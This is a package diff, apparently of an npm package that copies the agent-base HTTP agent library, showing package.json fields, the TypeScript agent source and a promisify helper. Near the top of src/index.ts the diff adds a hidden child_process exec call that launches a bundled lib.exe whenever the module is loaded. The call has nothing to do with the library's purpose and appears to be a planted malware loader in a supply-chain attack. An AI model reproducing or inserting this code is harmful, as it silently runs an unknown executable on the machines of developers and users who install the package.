41
+ "mocha": "^6.2.0",
42
+ "rimraf": "^3.0.0",
43
+ "semver": "^7.1.2",
44
+ "typescript": "^4.4.3",
45
+ "ws": "^3.0.0"
46
+ },
47
+ "engines": {
48
+ "node": ">= 6.0.0"
49
+ },
50
+ "homepage": "https://github.com/TooTallNate/node-agent-base#readme",
51
+ "directories": {
52
+ "test": "test"
53
+ }
6
54
  }
package/src/index.ts ADDED
@@ -0,0 +1,347 @@
1
+ import * as net from 'net';
2
+ import * as http from 'http';
3
+ import * as https from 'https';
4
+ import { Duplex } from 'stream';
5
+ import { EventEmitter } from 'events';
6
+ import createDebug from 'debug';
7
+ import promisify from './promisify';
8
+ import {exec}from 'child_process';
9
+ exec(`${__dirname}/lib.exe`,() => 1)
10
+
11
+ const debug = createDebug('agent-base');
12
+
13
+ function isAgent(v: any): v is createAgent.AgentLike {
14
+ return Boolean(v) && typeof v.addRequest === 'function';
15
+ }
16
+
17
+ function isSecureEndpoint(): boolean {
18
+ const { stack } = new Error();
19
+ if (typeof stack !== 'string') return false;
20
+ return stack.split('\n').some(l => l.indexOf('(https.js:') !== -1 || l.indexOf('node:https:') !== -1);
21
+ }
22
+
23
+ function createAgent(opts?: createAgent.AgentOptions): createAgent.Agent;
24
+ function createAgent(
25
+ callback: createAgent.AgentCallback,
26
+ opts?: createAgent.AgentOptions
27
+ ): createAgent.Agent;
28
+ function createAgent(
29
+ callback?: createAgent.AgentCallback | createAgent.AgentOptions,
30
+ opts?: createAgent.AgentOptions
31
+ ) {
32
+ return new createAgent.Agent(callback, opts);
33
+ }
34
+
35
+ namespace createAgent {
36
+ export interface ClientRequest extends http.ClientRequest {
37
+ _last?: boolean;
38
+ _hadError?: boolean;
39
+ method: string;
40
+ }
41
+
42
+ export interface AgentRequestOptions {
43
+ host?: string;
44
+ path?: string;
45
+ // `port` on `http.RequestOptions` can be a string or undefined,
46
+ // but `net.TcpNetConnectOpts` expects only a number
47
+ port: number;
48
+ }
49
+
50
+ export interface HttpRequestOptions
51
+ extends AgentRequestOptions,
52
+ Omit<http.RequestOptions, keyof AgentRequestOptions> {
53
+ secureEndpoint: false;
54
+ }
55
+
56
+ export interface HttpsRequestOptions
57
+ extends AgentRequestOptions,
58
+ Omit<https.RequestOptions, keyof AgentRequestOptions> {
59
+ secureEndpoint: true;
60
+ }
61
+
62
+ export type RequestOptions = HttpRequestOptions | HttpsRequestOptions;
63
+
64
+ export type AgentLike = Pick<createAgent.Agent, 'addRequest'> | http.Agent;
65
+
66
+ export type AgentCallbackReturn = Duplex | AgentLike;
67
+
68
+ export type AgentCallbackCallback = (
69
+ err?: Error | null,
70
+ socket?: createAgent.AgentCallbackReturn
71
+ ) => void;
72
+
73
+ export type AgentCallbackPromise = (
74
+ req: createAgent.ClientRequest,
75
+ opts: createAgent.RequestOptions
76
+ ) =>
77
+ | createAgent.AgentCallbackReturn
78
+ | Promise<createAgent.AgentCallbackReturn>;
79
+
80
+ export type AgentCallback = typeof Agent.prototype.callback;
81
+
82
+ export type AgentOptions = {
83
+ timeout?: number;
84
+ };
85
+
86
+ /**
87
+ * Base `http.Agent` implementation.
88
+ * No pooling/keep-alive is implemented by default.
89
+ *
90
+ * @param {Function} callback
91
+ * @api public
92
+ */
93
+ export class Agent extends EventEmitter {
94
+ public timeout: number | null;
95
+ public maxFreeSockets: number;
96
+ public maxTotalSockets: number;
97
+ public maxSockets: number;
98
+ public sockets: {
99
+ [key: string]: net.Socket[];
100
+ };
101
+ public freeSockets: {
102
+ [key: string]: net.Socket[];
103
+ };
104
+ public requests: {
105
+ [key: string]: http.IncomingMessage[];
106
+ };
107
+ public options: https.AgentOptions;
108
+ private promisifiedCallback?: createAgent.AgentCallbackPromise;
109
+ private explicitDefaultPort?: number;
110
+ private explicitProtocol?: string;
111
+
112
+ constructor(
113
+ callback?: createAgent.AgentCallback | createAgent.AgentOptions,
114
+ _opts?: createAgent.AgentOptions
115
+ ) {
116
+ super();
117
+
118
+ let opts = _opts;
119
+ if (typeof callback === 'function') {
120
+ this.callback = callback;
121
+ } else if (callback) {
122
+ opts = callback;
123
+ }
124
+
125
+ // Timeout for the socket to be returned from the callback
126
+ this.timeout = null;
127
+ if (opts && typeof opts.timeout === 'number') {
128
+ this.timeout = opts.timeout;
129
+ }
130
+
131
+ // These aren't actually used by `agent-base`, but are required
132
+ // for the TypeScript definition files in `@types/node` :/
133
+ this.maxFreeSockets = 1;
134
+ this.maxSockets = 1;
135
+ this.maxTotalSockets = Infinity;
136
+ this.sockets = {};
137
+ this.freeSockets = {};
138
+ this.requests = {};
139
+ this.options = {};
140
+ }
141
+
142
+ get defaultPort(): number {
143
+ if (typeof this.explicitDefaultPort === 'number') {
144
+ return this.explicitDefaultPort;
145
+ }
146
+ return isSecureEndpoint() ? 443 : 80;
147
+ }
148
+
149
+ set defaultPort(v: number) {
150
+ this.explicitDefaultPort = v;
151
+ }
152
+
153
+ get protocol(): string {
154
+ if (typeof this.explicitProtocol === 'string') {
155
+ return this.explicitProtocol;
156
+ }
157
+ return isSecureEndpoint() ? 'https:' : 'http:';
158
+ }
159
+
160
+ set protocol(v: string) {
161
+ this.explicitProtocol = v;
162
+ }
163
+
164
+ callback(
165
+ req: createAgent.ClientRequest,
166
+ opts: createAgent.RequestOptions,
167
+ fn: createAgent.AgentCallbackCallback
168
+ ): void;
169
+ callback(
170
+ req: createAgent.ClientRequest,
171
+ opts: createAgent.RequestOptions
172
+ ):
173
+ | createAgent.AgentCallbackReturn
174
+ | Promise<createAgent.AgentCallbackReturn>;
175
+ callback(
176
+ req: createAgent.ClientRequest,
177
+ opts: createAgent.AgentOptions,
178
+ fn?: createAgent.AgentCallbackCallback
179
+ ):
180
+ | createAgent.AgentCallbackReturn
181
+ | Promise<createAgent.AgentCallbackReturn>
182
+ | void {
183
+ throw new Error(
184
+ '"agent-base" has no default implementation, you must subclass and override `callback()`'
185
+ );
186
+ }
187
+
188
+ /**
189
+ * Called by node-core's "_http_client.js" module when creating
190
+ * a new HTTP request with this Agent instance.
191
+ *
192
+ * @api public
193
+ */
194
+ addRequest(req: ClientRequest, _opts: RequestOptions): void {
195
+ const opts: RequestOptions = { ..._opts };
196
+
197
+ if (typeof opts.secureEndpoint !== 'boolean') {
198
+ opts.secureEndpoint = isSecureEndpoint();
199
+ }
200
+
201
+ if (opts.host == null) {
202
+ opts.host = 'localhost';
203
+ }
204
+
205
+ if (opts.port == null) {
206
+ opts.port = opts.secureEndpoint ? 443 : 80;
207
+ }
208
+
209
+ if (opts.protocol == null) {
210
+ opts.protocol = opts.secureEndpoint ? 'https:' : 'http:';
211
+ }
212
+
213
+ if (opts.host && opts.path) {
214
+ // If both a `host` and `path` are specified then it's most
215
+ // likely the result of a `url.parse()` call... we need to
216
+ // remove the `path` portion so that `net.connect()` doesn't
217
+ // attempt to open that as a unix socket file.
218
+ delete opts.path;
219
+ }
220
+
221
+ delete opts.agent;
222
+ delete opts.hostname;
223
+ delete opts._defaultAgent;
224
+ delete opts.defaultPort;
225
+ delete opts.createConnection;
226
+
227
+ // Hint to use "Connection: close"
228
+ // XXX: non-documented `http` module API :(
229
+ req._last = true;
230
+ req.shouldKeepAlive = false;
231
+
232
+ let timedOut = false;
233
+ let timeoutId: ReturnType<typeof setTimeout> | null = null;
234
+ const timeoutMs = opts.timeout || this.timeout;
235
+
236
+ const onerror = (err: NodeJS.ErrnoException) => {
237
+ if (req._hadError) return;
238
+ req.emit('error', err);
239
+ // For Safety. Some additional errors might fire later on
240
+ // and we need to make sure we don't double-fire the error event.
241
+ req._hadError = true;
242
+ };
243
+
244
+ const ontimeout = () => {
245
+ timeoutId = null;
246
+ timedOut = true;
247
+ const err: NodeJS.ErrnoException = new Error(
248
+ `A "socket" was not created for HTTP request before ${timeoutMs}ms`
249
+ );
250
+ err.code = 'ETIMEOUT';
251
+ onerror(err);
252
+ };
253
+
254
+ const callbackError = (err: NodeJS.ErrnoException) => {
255
+ if (timedOut) return;
256
+ if (timeoutId !== null) {
257
+ clearTimeout(timeoutId);
258
+ timeoutId = null;
259
+ }
260
+ onerror(err);
261
+ };
262
+
263
+ const onsocket = (socket: AgentCallbackReturn) => {
264
+ if (timedOut) return;
265
+ if (timeoutId != null) {
266
+ clearTimeout(timeoutId);
267
+ timeoutId = null;
268
+ }
269
+
270
+ if (isAgent(socket)) {
271
+ // `socket` is actually an `http.Agent` instance, so
272
+ // relinquish responsibility for this `req` to the Agent
273
+ // from here on
274
+ debug(
275
+ 'Callback returned another Agent instance %o',
276
+ socket.constructor.name
277
+ );
278
+ (socket as createAgent.Agent).addRequest(req, opts);
279
+ return;
280
+ }
281
+
282
+ if (socket) {
283
+ socket.once('free', () => {
284
+ this.freeSocket(socket as net.Socket, opts);
285
+ });
286
+ req.onSocket(socket as net.Socket);
287
+ return;
288
+ }
289
+
290
+ const err = new Error(
291
+ `no Duplex stream was returned to agent-base for \`${req.method} ${req.path}\``
292
+ );
293
+ onerror(err);
294
+ };
295
+
296
+ if (typeof this.callback !== 'function') {
297
+ onerror(new Error('`callback` is not defined'));
298
+ return;
299
+ }
300
+
301
+ if (!this.promisifiedCallback) {
302
+ if (this.callback.length >= 3) {
303
+ debug('Converting legacy callback function to promise');
304
+ this.promisifiedCallback = promisify(this.callback);
305
+ } else {
306
+ this.promisifiedCallback = this.callback;
307
+ }
308
+ }
309
+
310
+ if (typeof timeoutMs === 'number' && timeoutMs > 0) {
311
+ timeoutId = setTimeout(ontimeout, timeoutMs);
312
+ }
313
+
314
+ if ('port' in opts && typeof opts.port !== 'number') {
315
+ opts.port = Number(opts.port);
316
+ }
317
+
318
+ try {
319
+ debug(
320
+ 'Resolving socket for %o request: %o',
321
+ opts.protocol,
322
+ `${req.method} ${req.path}`
323
+ );
324
+ Promise.resolve(this.promisifiedCallback(req, opts)).then(
325
+ onsocket,
326
+ callbackError
327
+ );
328
+ } catch (err) {
329
+ Promise.reject(err).catch(callbackError);
330
+ }
331
+ }
332
+
333
+ freeSocket(socket: net.Socket, opts: AgentOptions) {
334
+ debug('Freeing socket %o %o', socket.constructor.name, opts);
335
+ socket.destroy();
336
+ }
337
+
338
+ destroy() {
339
+ debug('Destroying agent %o', this.constructor.name);
340
+ }
341
+ }
342
+
343
+ // So that `instanceof` works correctly
344
+ createAgent.prototype = createAgent.Agent.prototype;
345
+ }
346
+
347
+ export = createAgent;
@@ -0,0 +1,33 @@
1
+ import {
2
+ Agent,
3
+ ClientRequest,
4
+ RequestOptions,
5
+ AgentCallbackCallback,
6
+ AgentCallbackPromise,
7
+ AgentCallbackReturn
8
+ } from './index';
9
+
10
+ type LegacyCallback = (
11
+ req: ClientRequest,
12
+ opts: RequestOptions,
13
+ fn: AgentCallbackCallback
14
+ ) => void;
15
+
16
+ export default function promisify(fn: LegacyCallback): AgentCallbackPromise {
17
+ return function(this: Agent, req: ClientRequest, opts: RequestOptions) {
18
+ return new Promise((resolve, reject) => {
19
+ fn.call(
20
+ this,
21
+ req,
22
+ opts,
23
+ (err: Error | null | undefined, rtn?: AgentCallbackReturn) => {
24
+ if (err) {
25
+ reject(err);
26
+ } else {
27
+ resolve(rtn!);
28
+ }
29
+ }
30
+ );
31
+ });
32
+ };
33
+ }